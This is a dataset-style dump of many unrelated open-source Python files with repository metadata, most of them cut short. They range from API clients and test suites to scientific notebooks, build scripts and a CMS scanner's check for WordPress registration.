[ "MIT" ]
null
null
null
uAPI/http_response.py
TheGarkine/uAPI
eea2695fbf1fccc4b2ceb52c8b1137fe9f526a48
[ "MIT" ]
null
null
null
import json from .utils import HTTP_STATUS_CODES class HTTPResponse: """A basic HTTP Response, allows to set custom status_codes and content_types for special requests.""" def __init__( self, data: object = None, status_code: int = 200, content_type: str = "application/json",...
32.607143
176
0.589814
4a14611e72efda1bf3552637bc751b682b6d116e
8,103
py
Python
python/utils.py
verc/trustless-liquidity-pool
d54a77b3629a27e4e8a414c6b04c05245f407880
[ "MIT" ]
1
2021-01-04T14:38:18.000Z
2021-01-04T14:38:18.000Z
python/utils.py
verc/nu-pool
d54a77b3629a27e4e8a414c6b04c05245f407880
[ "MIT" ]
null
null
null
python/utils.py
verc/nu-pool
d54a77b3629a27e4e8a414c6b04c05245f407880
[ "MIT" ]
3
2018-09-23T15:33:04.000Z
2021-06-20T14:34:56.000Z
#! /usr/bin/env python """ The MIT License (MIT) Copyright (c) 2015 creon (creon.nu@gmail.com) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the...
40.515
162
0.640257
4a1461568dce72047bfc5633431f67883116fc32
1,372
py
Python
tests/test_vlan/test_network.py
mteter-upenn/bacpypes
88623988103a48a3f5c8dfd0eb0ca7ffa0bd82b6
[ "MIT" ]
null
null
null
tests/test_vlan/test_network.py
mteter-upenn/bacpypes
88623988103a48a3f5c8dfd0eb0ca7ffa0bd82b6
[ "MIT" ]
null
null
null
tests/test_vlan/test_network.py
mteter-upenn/bacpypes
88623988103a48a3f5c8dfd0eb0ca7ffa0bd82b6
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Test Module Template -------------------- """ import unittest from bacpypes.debugging import bacpypes_debugging, ModuleLogger # some debugging _debug = 0 _log = ModuleLogger(globals()) @bacpypes_debugging def setup_module(): if _debug: setup_module._debug("set...
22.866667
73
0.727405
4a1461f7747adae3ff11bf3c5ba1a59e236fb320
2,480
py
Python
tests/facebook/apis/test_pictures.py
Socian-Ltd/python-facebook-1
e9a4f626b37541103c9534a29342ef6033c09c06
[ "Apache-2.0" ]
null
null
null
tests/facebook/apis/test_pictures.py
Socian-Ltd/python-facebook-1
e9a4f626b37541103c9534a29342ef6033c09c06
[ "Apache-2.0" ]
null
null
null
tests/facebook/apis/test_pictures.py
Socian-Ltd/python-facebook-1
e9a4f626b37541103c9534a29342ef6033c09c06
[ "Apache-2.0" ]
1
2021-06-02T07:15:35.000Z
2021-06-02T07:15:35.000Z
import json import unittest import responses from six import iteritems import pyfacebook class CommentTestApi(unittest.TestCase): BASE_PATH = "testdata/facebook/apidata/pictures/" BASE_URL = "https://graph.facebook.com/{}/".format(pyfacebook.Api.VALID_API_VERSIONS[-1]) with open(BASE_PATH + "single_pic...
32.631579
93
0.594758
4a146224eeea7f942aec628db5d234c5140d609a
6,461
py
Python
bentoml/_internal/utils/__init__.py
SAB-6/BentoML
d16d3dc75d75a8da300b47a15493ca53f51baabd
[ "Apache-2.0" ]
1
2022-02-13T05:35:47.000Z
2022-02-13T05:35:47.000Z
bentoml/_internal/utils/__init__.py
khuyentran1401/BentoML
06973901fd04d115eab862956ba26732644dcd52
[ "Apache-2.0" ]
null
null
null
bentoml/_internal/utils/__init__.py
khuyentran1401/BentoML
06973901fd04d115eab862956ba26732644dcd52
[ "Apache-2.0" ]
null
null
null
import os import uuid import socket import typing as t import functools import contextlib from typing import TYPE_CHECKING from pathlib import Path import fs import fs.copy from ..types import PathType from .lazy_loader import LazyLoader if TYPE_CHECKING: from fs import FS C = t.TypeVar("C") T = t.TypeVar("T")...
30.191589
87
0.624207
4a1462c71ab690ff4a41846d739b53cb53fe3932
18,883
py
Python
_build/jupyter_execute/courseware/Chapter_6/ODEs.py
saturnaxis/PHYS3820_Book
e6ead8c5353c7cfacba58376d259f6c3a11b0b3a
[ "MIT" ]
null
null
null
_build/jupyter_execute/courseware/Chapter_6/ODEs.py
saturnaxis/PHYS3820_Book
e6ead8c5353c7cfacba58376d259f6c3a11b0b3a
[ "MIT" ]
null
null
null
_build/jupyter_execute/courseware/Chapter_6/ODEs.py
saturnaxis/PHYS3820_Book
e6ead8c5353c7cfacba58376d259f6c3a11b0b3a
[ "MIT" ]
1
2022-01-17T23:19:38.000Z
2022-01-17T23:19:38.000Z
#!/usr/bin/env python # coding: utf-8 # # Ordinary Differential Equations (ODEs) # If you give an object (e.g., large wooden rabbit) some initial velcoity $v$ over a castle wall, then you will note that the vertical component of velcoity gradually decreases. Eventually, the vertical velocity component changes directi...
48.417949
655
0.685961
4a14631e5f521f02169d8596d2af041aa2ce8a68
351
py
Python
submissions/abc170/a.py
m-star18/atcoder
08e475810516602fa088f87daf1eba590b4e07cc
[ "Unlicense" ]
1
2021-05-10T01:16:28.000Z
2021-05-10T01:16:28.000Z
submissions/abc170/a.py
m-star18/atcoder
08e475810516602fa088f87daf1eba590b4e07cc
[ "Unlicense" ]
3
2021-05-11T06:14:15.000Z
2021-06-19T08:18:36.000Z
submissions/abc170/a.py
m-star18/atcoder
08e475810516602fa088f87daf1eba590b4e07cc
[ "Unlicense" ]
null
null
null
def main(): import sys read = sys.stdin.buffer.read readline = sys.stdin.buffer.readline readlines = sys.stdin.buffer.readlines sys.setrecursionlimit(10 ** 7) x = list(map(int, readline().split())) for i in range(1, 6): if i not in x: print(i) break if __na...
20.647059
42
0.575499
4a1464012f7bcfd797cf0bb01e0669ec478a9392
820
py
Python
setup.py
Configgery/python-configgery-client
c5b7b59d21f3165404c1f9f1d978d94a6ea49913
[ "MIT" ]
null
null
null
setup.py
Configgery/python-configgery-client
c5b7b59d21f3165404c1f9f1d978d94a6ea49913
[ "MIT" ]
null
null
null
setup.py
Configgery/python-configgery-client
c5b7b59d21f3165404c1f9f1d978d94a6ea49913
[ "MIT" ]
1
2022-01-06T00:17:32.000Z
2022-01-06T00:17:32.000Z
import setuptools with open("README.md", "r", encoding="utf-8") as fh: long_description = fh.read() setuptools.setup( name="configgery-client", version="1.0.2", author="Configgery Pty Ltd", author_email="support@configgery.com", description="Python client for devices interacting with configger...
30.37037
76
0.662195
4a14640746298e15eda12871195d03e1636f3d76
9,246
py
Python
build/PureCloudPlatformClientV2/models/contact_list_filter_predicate.py
cjohnson-ctl/platform-client-sdk-python
38ce53bb8012b66e8a43cc8bd6ff00cf6cc99100
[ "MIT" ]
10
2019-02-22T00:27:08.000Z
2021-09-12T23:23:44.000Z
libs/PureCloudPlatformClientV2/models/contact_list_filter_predicate.py
rocketbot-cl/genesysCloud
dd9d9b5ebb90a82bab98c0d88b9585c22c91f333
[ "MIT" ]
5
2018-06-07T08:32:00.000Z
2021-07-28T17:37:26.000Z
libs/PureCloudPlatformClientV2/models/contact_list_filter_predicate.py
rocketbot-cl/genesysCloud
dd9d9b5ebb90a82bab98c0d88b9585c22c91f333
[ "MIT" ]
6
2020-04-09T17:43:07.000Z
2022-02-17T08:48:05.000Z
# coding: utf-8 """ Copyright 2016 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applica...
34.371747
622
0.615509
4a146453de50f8d311f3098ba7bfcee22555800b
356
py
Python
ex060.py
igormba/python-exercises
000190c4b62dc64bbb2fb039a103890945b88fa5
[ "MIT" ]
null
null
null
ex060.py
igormba/python-exercises
000190c4b62dc64bbb2fb039a103890945b88fa5
[ "MIT" ]
null
null
null
ex060.py
igormba/python-exercises
000190c4b62dc64bbb2fb039a103890945b88fa5
[ "MIT" ]
null
null
null
'''Faça um programa que leia um número qualquer e mostre o seu fatorial. Ex: 5! = 5x4x3x2x1 = 120''' from math import factorial n = int(input('Informe um número: ')) c = n print('Calculando {}! = '.format(n), end=' ') while c > 0: print('{}'.format(c), end=' ') print(' x ' if c > 1 else ' = ', end=' ') c -...
29.666667
72
0.581461
4a14658295447a21b5532ee9f7106e0c378d613f
2,073
py
Python
code/ch05/5.2.4-number-of-islands.py
leetcode-pp/leetcode-pp1
a1f9e46fdd2f480d2fcb94e76370e040e0f0a4f5
[ "MIT" ]
22
2021-02-23T13:42:28.000Z
2022-03-02T11:19:28.000Z
code/ch05/5.2.4-number-of-islands.py
leetcode-pp/leetcode-pp1
a1f9e46fdd2f480d2fcb94e76370e040e0f0a4f5
[ "MIT" ]
9
2021-06-16T10:42:01.000Z
2021-08-24T09:06:29.000Z
code/ch05/5.2.4-number-of-islands.py
leetcode-pp/leetcode-pp1
a1f9e46fdd2f480d2fcb94e76370e040e0f0a4f5
[ "MIT" ]
9
2021-02-20T08:29:00.000Z
2021-09-18T08:52:25.000Z
from typing import List class Solution: class UnionFind: def __init__(self, grid): self.count = 0 m = len(grid) n = len(grid[0]) self.parent = [0 for _ in range(m * n)] self.rank = [0 for _ in range(m * n)] for i in range(m): # 这里我们进行...
33.435484
62
0.387844
4a146721b7a25fd43192d67da0d185a0d2c52dff
5,344
py
Python
sr-pwc/scripts/finetune_srpwc_things.py
ashariati/srfnet
2171a635006d3ac98e39a9f07c17027b70e5aead
[ "MIT" ]
null
null
null
sr-pwc/scripts/finetune_srpwc_things.py
ashariati/srfnet
2171a635006d3ac98e39a9f07c17027b70e5aead
[ "MIT" ]
null
null
null
sr-pwc/scripts/finetune_srpwc_things.py
ashariati/srfnet
2171a635006d3ac98e39a9f07c17027b70e5aead
[ "MIT" ]
null
null
null
import sys import os import pprint import math import PIL import numpy as np import torch from torch import nn from torch import optim from torch.utils.data import DataLoader import torchvision import torchvision.transforms as transforms import torchvision.utils as vutils import tensorboardX fro...
31.069767
128
0.665232
4a1468295604457cdf2851be5a5fc5e785a2bde6
2,453
py
Python
pyspedas/mms/feeps/mms_feeps_spin_avg.py
asherp/pyspedas
b9856157e63a711f3d7b979b15b3bafade2bd2a8
[ "MIT" ]
null
null
null
pyspedas/mms/feeps/mms_feeps_spin_avg.py
asherp/pyspedas
b9856157e63a711f3d7b979b15b3bafade2bd2a8
[ "MIT" ]
null
null
null
pyspedas/mms/feeps/mms_feeps_spin_avg.py
asherp/pyspedas
b9856157e63a711f3d7b979b15b3bafade2bd2a8
[ "MIT" ]
null
null
null
import warnings import numpy as np from pytplot import get_data, store_data, options def mms_feeps_spin_avg(probe='1', data_units='intensity', datatype='electron', data_rate='srvy', level='l2', suffix=''): """ This function will spin-average the omni-directional FEEPS energy spectra Parameters: ...
35.550725
120
0.618019
4a1468655827d2c49ea4832b4a93c1513a468e17
916
py
Python
PyByteReader/byte_reader.py
ventralnet/PyByteReader
e4e9c8fda4a45aad5401c66aa350ad069d3d0bf8
[ "MIT" ]
null
null
null
PyByteReader/byte_reader.py
ventralnet/PyByteReader
e4e9c8fda4a45aad5401c66aa350ad069d3d0bf8
[ "MIT" ]
null
null
null
PyByteReader/byte_reader.py
ventralnet/PyByteReader
e4e9c8fda4a45aad5401c66aa350ad069d3d0bf8
[ "MIT" ]
null
null
null
class ByteReader: def __init__(self, file_input): self.file_input = file_input def readByte(self): return self.file_input.read(1) def readByteAsInt(self): return int.from_bytes(self.readByte(), "big") def readString(self): length = int.from_bytes(self.readByte(), "big") return self.readSt...
27.757576
111
0.649563
4a14689ea0e95b89b6d44a34c8f3bb2b1c3cb018
469
py
Python
myscripts/wmt14/valid_search/read_score.py
xx-zhou16/Grammar
45600cdb3e1de06551c623d289d941befba1c2b8
[ "MIT" ]
null
null
null
myscripts/wmt14/valid_search/read_score.py
xx-zhou16/Grammar
45600cdb3e1de06551c623d289d941befba1c2b8
[ "MIT" ]
null
null
null
myscripts/wmt14/valid_search/read_score.py
xx-zhou16/Grammar
45600cdb3e1de06551c623d289d941befba1c2b8
[ "MIT" ]
null
null
null
import os import re def read_BLEU4(file_path): last_line = None with open(file_path, 'r') as f: last_line = f.readlines()[-1] target = re.search(r'BLEU4 = (.*?), ', last_line) #print(target.group(1)) target = target.group(1) return float(target) if __name__ == "__main__":...
27.588235
114
0.652452
4a1469300e4855eb83c549ea01daf2c32220c742
866
py
Python
Python/python-tutorials/python-challenge/disproportional.py
zhongyangynag/code-study
5410929554107a384a09d899c6fa3d16ed383d2b
[ "MIT" ]
null
null
null
Python/python-tutorials/python-challenge/disproportional.py
zhongyangynag/code-study
5410929554107a384a09d899c6fa3d16ed383d2b
[ "MIT" ]
null
null
null
Python/python-tutorials/python-challenge/disproportional.py
zhongyangynag/code-study
5410929554107a384a09d899c6fa3d16ed383d2b
[ "MIT" ]
null
null
null
#!/usr/bin/python # coding: utf-8 # http://www.pythonchallenge.com/pc/return/disproportional.html import urllib # downlaod file with password # user: huge passwd: file url="http://huge:file@www.pythonchallenge.com/pc/phonebook.php" filename=url.split('/')[-1] urllib.urlretrieve(url,filename) # from the php file: # f...
28.866667
131
0.757506
4a14694303acf091e141ee17f52cb1b4503a92b0
3,254
py
Python
adapter/template.py
blurstudio/SublimeDebugger-Plugin
b47e531882352e89bfe02c5a7a1fbac2e90a4680
[ "MIT" ]
4
2021-01-12T09:17:55.000Z
2022-02-23T13:14:23.000Z
adapter/template.py
blurstudio/SublimeDebugger-Plugin
b47e531882352e89bfe02c5a7a1fbac2e90a4680
[ "MIT" ]
null
null
null
adapter/template.py
blurstudio/SublimeDebugger-Plugin
b47e531882352e89bfe02c5a7a1fbac2e90a4680
[ "MIT" ]
null
null
null
from Debugger.modules.typecheck import * # This import moves around based on the Debugger version being used try: import Debugger.modules.debugger.adapter as adapter except: import Debugger.modules.adapters.adapter as adapter import sublime # This is the id of your adapter. It must be unique and match no # oth...
29.853211
85
0.722495
4a1469b6007eb43c8ea911ee36cf0b4ea0c6bbef
867
py
Python
demos/grasp_fusion/ros/grasp_fusion/node_scripts/bounding_box_to_tf.py
pazeshun/jsk_apc
0ff42000ad5992f8a31e719a5360a39cf4fa1fde
[ "BSD-3-Clause" ]
null
null
null
demos/grasp_fusion/ros/grasp_fusion/node_scripts/bounding_box_to_tf.py
pazeshun/jsk_apc
0ff42000ad5992f8a31e719a5360a39cf4fa1fde
[ "BSD-3-Clause" ]
2
2019-04-11T05:36:23.000Z
2019-08-19T12:58:10.000Z
demos/grasp_fusion/ros/grasp_fusion/node_scripts/bounding_box_to_tf.py
pazeshun/jsk_apc
0ff42000ad5992f8a31e719a5360a39cf4fa1fde
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python import rospy import tf from jsk_recognition_msgs.msg import BoundingBox class BoundingBoxToTf(object): def __init__(self): self.tf_frame = rospy.get_param('~tf_frame', 'bounding_box') self.broadcaster = tf.TransformBroadcaster() self.sub = rospy.Subscriber('~inpu...
27.09375
72
0.55594
4a146a4aac7916f514dfa1386dd29d72870956fd
1,838
py
Python
dql/expressions/base.py
ikonst/dql
e9d3aa22873076dae5ebd02e35318aa996b1e56a
[ "MIT" ]
null
null
null
dql/expressions/base.py
ikonst/dql
e9d3aa22873076dae5ebd02e35318aa996b1e56a
[ "MIT" ]
null
null
null
dql/expressions/base.py
ikonst/dql
e9d3aa22873076dae5ebd02e35318aa996b1e56a
[ "MIT" ]
null
null
null
""" Common utilities for all expressions """ from future.utils import python_2_unicode_compatible import re from .visitor import dummy_visitor PATH_PATTERN = re.compile(r"\w+|\[(\d+)\]") @python_2_unicode_compatible class Expression(object): """ Base class for all expressions and expression fragments """ ...
27.029412
78
0.583243
4a146be7c9402cec4fe37f5638a1b2804b9f885f
7,249
py
Python
include/ClientNetworkingSessions.py
MsgLosers/hydrus
febaa5ff1a6b94a49d0eba513ff41541c57f78cc
[ "WTFPL" ]
null
null
null
include/ClientNetworkingSessions.py
MsgLosers/hydrus
febaa5ff1a6b94a49d0eba513ff41541c57f78cc
[ "WTFPL" ]
50
2019-04-05T02:25:13.000Z
2019-04-27T04:29:31.000Z
include/ClientNetworkingSessions.py
MsgLosers/hydrus
febaa5ff1a6b94a49d0eba513ff41541c57f78cc
[ "WTFPL" ]
null
null
null
import pickle from . import ClientConstants as CC from . import ClientNetworkingContexts from . import ClientNetworkingDomain from . import HydrusData from . import HydrusSerialisable from . import HydrusGlobals as HG import requests import threading try: import socket import socks SOCKS_PROXY_OK...
29.709016
214
0.576217
4a146c6d85af3347c63d3a82c950192160d2063a
5,127
py
Python
aui/gui/robot/internal/ui_wifi.py
argenortega/AUI
5e90bb59e283e829cb41d07dff9d1c8c75daa890
[ "MIT" ]
null
null
null
aui/gui/robot/internal/ui_wifi.py
argenortega/AUI
5e90bb59e283e829cb41d07dff9d1c8c75daa890
[ "MIT" ]
null
null
null
aui/gui/robot/internal/ui_wifi.py
argenortega/AUI
5e90bb59e283e829cb41d07dff9d1c8c75daa890
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'ui/wifi.ui' # # Created: Mon Aug 31 12:21:34 2015 # by: PyQt4 UI code generator 4.11.1 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except Attrib...
40.054688
112
0.694363
4a146ded64da613fdda3e66fe72debc785bd038b
28,092
py
Python
sdk/python/pulumi_azure_nextgen/web/v20190801/web_app_auth_settings_slot.py
pulumi/pulumi-azure-nextgen
452736b0a1cf584c2d4c04666e017af6e9b2c15c
[ "Apache-2.0" ]
31
2020-09-21T09:41:01.000Z
2021-02-26T13:21:59.000Z
sdk/python/pulumi_azure_nextgen/web/v20190801/web_app_auth_settings_slot.py
pulumi/pulumi-azure-nextgen
452736b0a1cf584c2d4c04666e017af6e9b2c15c
[ "Apache-2.0" ]
231
2020-09-21T09:38:45.000Z
2021-03-01T11:16:03.000Z
sdk/python/pulumi_azure_nextgen/web/v20190801/web_app_auth_settings_slot.py
pulumi/pulumi-azure-nextgen
452736b0a1cf584c2d4c04666e017af6e9b2c15c
[ "Apache-2.0" ]
4
2020-09-29T14:14:59.000Z
2021-02-10T20:38:16.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables from...
58.647182
706
0.69041
4a146f4fe3df7bbe0bc1aff305b25f7c5aaefed4
7,042
py
Python
theano/sandbox/cuda/tests/test_memory.py
ganguli-lab/Theano
d61c929b6d1a5bae314545cba79c879de687ea18
[ "BSD-3-Clause" ]
1
2019-01-26T01:53:46.000Z
2019-01-26T01:53:46.000Z
theano/sandbox/cuda/tests/test_memory.py
ganguli-lab/Theano
d61c929b6d1a5bae314545cba79c879de687ea18
[ "BSD-3-Clause" ]
null
null
null
theano/sandbox/cuda/tests/test_memory.py
ganguli-lab/Theano
d61c929b6d1a5bae314545cba79c879de687ea18
[ "BSD-3-Clause" ]
null
null
null
import gc import numpy as np import theano from theano import tensor from theano.sandbox import cuda from theano import ifelse # Skip test if cuda_ndarray is not available. from nose.plugins.skip import SkipTest if cuda.cuda_available == False: raise SkipTest('Optional package cuda disabled') if theano.config....
39.561798
79
0.627237
4a146fb799806b4ec13e6740eb0c6107a2c44522
2,354
py
Python
tests/test_v3.py
SrivathshanKS/pypaseto
191583939421c876f6bdf5c2656aa023eeddf58b
[ "MIT" ]
93
2018-03-10T17:15:06.000Z
2022-03-28T09:36:09.000Z
tests/test_v3.py
SrivathshanKS/pypaseto
191583939421c876f6bdf5c2656aa023eeddf58b
[ "MIT" ]
15
2018-03-09T16:21:32.000Z
2021-09-17T17:20:51.000Z
tests/test_v3.py
SrivathshanKS/pypaseto
191583939421c876f6bdf5c2656aa023eeddf58b
[ "MIT" ]
13
2018-03-09T15:50:01.000Z
2022-03-28T09:59:18.000Z
import json import pytest import paseto from unittest import mock from paseto.protocols.v3 import ProtocolVersion3 from paseto.keys.asymmetric_key import AsymmetricSecretKey, AsymmetricPublicKey from paseto.keys.symmetric_key import SymmetricKey import secrets def test_v3_local_keygen(): test_v3_local_key = Prot...
30.973684
81
0.754036
4a14708c9a73ab01c7eec76c86020f282291a299
829
py
Python
.modules/.CMSeeK/deepscans/wp/check_reg.py
termux-one/EasY_HaCk
0a8d09ca4b126b027b6842e02fa0c29d8250e090
[ "Apache-2.0" ]
1,103
2018-04-20T14:08:11.000Z
2022-03-29T06:22:43.000Z
.modules/.CMSeeK/deepscans/wp/check_reg.py
sshourya948/EasY_HaCk
0a8d09ca4b126b027b6842e02fa0c29d8250e090
[ "Apache-2.0" ]
29
2019-04-03T14:52:38.000Z
2022-03-24T12:33:05.000Z
.modules/.CMSeeK/deepscans/wp/check_reg.py
sshourya948/EasY_HaCk
0a8d09ca4b126b027b6842e02fa0c29d8250e090
[ "Apache-2.0" ]
161
2018-04-20T15:57:12.000Z
2022-03-15T19:16:16.000Z
#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 Tuhinshubhra # http://localhost/wordpress/wordpress/wp-login.php?action=register import cmseekdb.basic as cmseek def start(url,ua): reg_url = url + '/wp-login.php?action=registe...
41.45
156
0.687575
4a14718f86d9db27691df2df57b61ece403bcd72
3,257
py
Python
pygaarst/ali.py
chryss/pygaarst
6e91180d063e4289cf2ea7a0261b231030e37dae
[ "MIT" ]
42
2015-02-25T21:39:23.000Z
2021-11-22T04:48:34.000Z
pygaarst/ali.py
chryss/pygaarst
6e91180d063e4289cf2ea7a0261b231030e37dae
[ "MIT" ]
12
2015-04-20T19:09:17.000Z
2017-07-21T21:38:43.000Z
pygaarst/ali.py
chryss/pygaarst
6e91180d063e4289cf2ea7a0261b231030e37dae
[ "MIT" ]
15
2015-04-03T19:16:14.000Z
2022-03-28T11:32:36.000Z
# coding: utf-8 """ **pygaarst.ali** **ALI-specific classes.** *Refactored out of pygaarst.raster by Chris Waigl on 2014-11-14.* """ from __future__ import division, print_function, absolute_import from builtins import str from builtins import range import os.path import logging import pygaarst.irutils as ir from p...
35.402174
78
0.628185
4a14726429f1bad904f3af76d440017a292ce8ac
6,080
py
Python
sympy/physics/quantum/tests/test_state.py
ethankward/sympy
44664d9f625a1c68bc492006cfe1012cb0b49ee4
[ "BSD-3-Clause" ]
1
2021-06-22T23:27:55.000Z
2021-06-22T23:27:55.000Z
sympy/physics/quantum/tests/test_state.py
ethankward/sympy
44664d9f625a1c68bc492006cfe1012cb0b49ee4
[ "BSD-3-Clause" ]
null
null
null
sympy/physics/quantum/tests/test_state.py
ethankward/sympy
44664d9f625a1c68bc492006cfe1012cb0b49ee4
[ "BSD-3-Clause" ]
1
2020-02-06T17:54:20.000Z
2020-02-06T17:54:20.000Z
from sympy import (Add, conjugate, diff, I, Integer, Mul, oo, pi, Pow, Rational, sin, sqrt, Symbol, symbols, sympify, S) from sympy.testing.pytest import raises from sympy.physics.quantum.dagger import Dagger from sympy.physics.quantum.qexpr import QExpr from sympy.physics.quantum.state import ( ...
26.550218
79
0.604112
4a147289f460c0edcb26bee4a7afa4c9da070b8f
115
py
Python
flask_admin_tablefield/__init__.py
cllen/flask-admin-tablefield
f9e6c758e0c8545b4b60e24a4e3d4669c60481ee
[ "MIT" ]
null
null
null
flask_admin_tablefield/__init__.py
cllen/flask-admin-tablefield
f9e6c758e0c8545b4b60e24a4e3d4669c60481ee
[ "MIT" ]
null
null
null
flask_admin_tablefield/__init__.py
cllen/flask-admin-tablefield
f9e6c758e0c8545b4b60e24a4e3d4669c60481ee
[ "MIT" ]
null
null
null
from .tablefield import TableField from .tablecheckboxfield import TableCheckBoxField __version__ = '0.2.2022.3.7'
28.75
50
0.826087
4a1472afb730bac4aff94a5bb912b3dd26e85e7c
2,192
py
Python
validator/sawtooth_validator/ffi.py
PrantikMullick/sawtooth-core
00255c4ca834a3240c38f235cf28d3c23cad015e
[ "Apache-2.0" ]
null
null
null
validator/sawtooth_validator/ffi.py
PrantikMullick/sawtooth-core
00255c4ca834a3240c38f235cf28d3c23cad015e
[ "Apache-2.0" ]
null
null
null
validator/sawtooth_validator/ffi.py
PrantikMullick/sawtooth-core
00255c4ca834a3240c38f235cf28d3c23cad015e
[ "Apache-2.0" ]
null
null
null
# Copyright 2016 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
28.102564
80
0.619069
4a1473e651d956328399dc319a4bb6b90976c075
1,388
py
Python
model-optimizer/mo/front/kaldi/extractors/memoryoffset_ext_test.py
zhoub/dldt
e42c01cf6e1d3aefa55e2c5df91f1054daddc575
[ "Apache-2.0" ]
3
2020-02-09T23:25:37.000Z
2021-01-19T09:44:12.000Z
model-optimizer/mo/front/kaldi/extractors/memoryoffset_ext_test.py
zhoub/dldt
e42c01cf6e1d3aefa55e2c5df91f1054daddc575
[ "Apache-2.0" ]
null
null
null
model-optimizer/mo/front/kaldi/extractors/memoryoffset_ext_test.py
zhoub/dldt
e42c01cf6e1d3aefa55e2c5df91f1054daddc575
[ "Apache-2.0" ]
2
2020-04-18T16:24:39.000Z
2021-01-19T09:42:19.000Z
""" Copyright (c) 2019 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in wri...
35.589744
81
0.729827
4a1474974787730bfa6958adab4cc74866563f6b
5,516
py
Python
scripts/reformat.py
TheChronicMonster/docs
02415d0c0ba428e35af86afa39f7cb6b0114e09d
[ "MIT" ]
92
2020-05-20T15:25:39.000Z
2022-03-27T23:38:36.000Z
scripts/reformat.py
TheChronicMonster/docs
02415d0c0ba428e35af86afa39f7cb6b0114e09d
[ "MIT" ]
266
2020-05-19T23:26:02.000Z
2022-03-30T14:03:51.000Z
scripts/reformat.py
TheChronicMonster/docs
02415d0c0ba428e35af86afa39f7cb6b0114e09d
[ "MIT" ]
185
2020-05-19T22:46:57.000Z
2022-03-30T13:33:38.000Z
#!/usr/bin/env python3 # rm -rf goal && mkdir goal && goal generate-docs goal && ./reformat.py -path goal import argparse import os import os.path import pprint import re import shutil import sys import tempfile from pathlib import Path pp = pprint.PrettyPrinter(indent=4) parser = argparse.ArgumentParser(desc...
38.84507
191
0.601523
4a1475cdf1747ddcd4d11e9a7b4a7b9d6a845995
541
py
Python
manage.py
MenheraMikumo/Mnemosyne
d606458c2ad8059ce6cc50cea532c3abff0589f4
[ "MIT" ]
null
null
null
manage.py
MenheraMikumo/Mnemosyne
d606458c2ad8059ce6cc50cea532c3abff0589f4
[ "MIT" ]
null
null
null
manage.py
MenheraMikumo/Mnemosyne
d606458c2ad8059ce6cc50cea532c3abff0589f4
[ "MIT" ]
null
null
null
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "Mnemosyne.settings") try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Ar...
33.8125
73
0.687616
4a1476717cbc6ed089929118e5a474bfa9e82671
1,797
py
Python
.history/postImages/index_20201006210614.py
Lambda-School-Labs/Labs27-C-Bridges-To-Prosperity-BE
9a8289d8550115362c46dea3ed8570b789c09a10
[ "MIT" ]
2
2020-10-21T22:14:15.000Z
2020-10-21T22:14:16.000Z
.history/postImages/index_20201006210614.py
Lambda-School-Labs/Labs27-C-Bridges-To-Prosperity-BE
9a8289d8550115362c46dea3ed8570b789c09a10
[ "MIT" ]
null
null
null
.history/postImages/index_20201006210614.py
Lambda-School-Labs/Labs27-C-Bridges-To-Prosperity-BE
9a8289d8550115362c46dea3ed8570b789c09a10
[ "MIT" ]
null
null
null
import csv import requests df = open("bridgeData3.csv",'r').readlines() fin = open('final.csv','r').readlines() finCsv = fin[1:] # url = https://b2ptc.herokuapp.com/bridges finalCsv = df[1:] obj = {} for i in finalCsv: x = i.split(',') obj[x[1]] = {'bridge_name':x[0],'proj_code':x[1],'before_img':x[2],'after_im...
29.95
97
0.513634